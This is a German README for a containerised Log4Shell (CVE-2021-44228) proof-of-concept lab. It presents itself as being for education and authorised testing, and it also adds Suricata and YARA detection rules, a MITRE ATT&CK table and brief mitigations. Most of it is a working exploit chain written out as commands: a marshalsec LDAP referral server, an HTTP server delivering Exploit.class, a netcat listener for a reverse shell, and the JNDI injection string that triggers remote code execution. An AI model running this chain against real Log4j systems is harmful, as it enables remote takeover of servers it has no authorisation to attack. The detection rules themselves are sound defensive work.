**Log4Shell PoC ist eine originalgetreue Exploitation-Umgebung, die entwickelt wurde, um die Schwachstelle CVE-2021-44228 nachzubilden.** Sie stellt eine containerisierte Sandbox bereit, um JNDI-Injection, LDAP/RMI-Referral-Umleitung und Remote-Code-Ausführung (RCE) über die Log4j-2-Bibliothek zu demonstrieren.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC-LABOR
[ PROOF OF CONCEPT & JNDI-EXPLOITATION ]
Log4Shell PoC ist eine realitätsgetreue Exploitation-Umgebung zur Nachbildung der CVE-2021-44228-Schwachstelle. Sie bietet eine containerisierte Sandbox zur Demonstration von JNDI-Injection, LDAP/RMI-Referral-Umleitung und Remote-Code-Ausführung (RCE) über die Log4j-2-Bibliothek.
Nur für Bildungszwecke und autorisierte Sicherheitstests.
Die Verwendung dieses Proof of Concept für Angriffe auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, landes- und bundesrechtlichen Gesetze einzuhalten. Die Autoren übernehmen keinerlei Haftung und sind nicht verantwortlich für Datenverluste, Systemschäden, rechtliche Konsequenzen oder Missbrauch, die durch dieses Programm verursacht werden. Durch die Verwendung dieser Software erklärst du dich damit einverstanden, dich innerhalb der rechtlichen Grenzen deiner Gerichtsbarkeit zu bewegen.
Die Angreiferseite besteht aus drei eigenständigen Kanälen, um den PoC zu ermöglichen.
Exploit.class-Bytecode, den das Opfer herunterladen und ausführen kann.Eine dockerisierte OpenJDK-8-Umgebung, die eine verwundbare Log4j-Implementierung ausführt.
Tab 1: LDAP-Referral-Server
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
Tab 2: HTTP-Payload-Auslieferung
# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
Tab 3: Netcat-Listener
nc -lvnp 9001
Tab 4: Verwundbaren Container starten
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
Im Container: PoC auslösen
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| Phase | Technik | Alarm ausgelöst? | MITRE ATT&CK |
|---|---|---|---|
| Erstzugriff | Ausnutzung öffentlich erreichbarer Anwendung | [ ] | T1190 |
| Ausführung | Befehls- und Skriptinterpreter | [ ] | T1059 |
| Kommando & Kontrolle | Anwendungsschicht-Protokoll (LDAP) | [ ] | T1071.003 |
| Exfiltration | Nicht-Anwendungsschicht-Protokoll | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true setzen, um Lookups zu deaktivieren.JndiLookup.class manuell aus dem log4j-core-JAR entfernen.172.17.0.0/16) begrenzen.